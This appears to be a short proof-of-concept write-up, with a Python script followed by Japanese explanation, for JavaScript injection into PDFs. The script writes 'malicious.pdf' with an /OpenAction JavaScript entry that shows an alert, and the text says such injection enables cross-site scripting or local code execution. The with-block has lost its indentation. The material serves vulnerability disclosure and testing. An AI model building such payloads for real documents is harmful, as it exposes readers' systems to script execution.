
# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")
PDFジェネレーターは、ユーザーが指定したコンテンツをPDFファイルに埋め込む前にサニタイズしません。攻撃者は、ドキュメントを開いたときに実行される/OpenAction JavaScriptエントリを注入でき、これにより(Webビューアでの)クロスサイトスクリプティングや、(完全なJSサポートを備えたデスクトップリーダーでの)ローカルコード実行につながります。
ジェネレーターを実行します:
python generate_pdf_js_inject.py
生成されたmalicious.pdfをJavaScriptをサポートするPDFリーダーで開くと、アラートボックスが表示されます。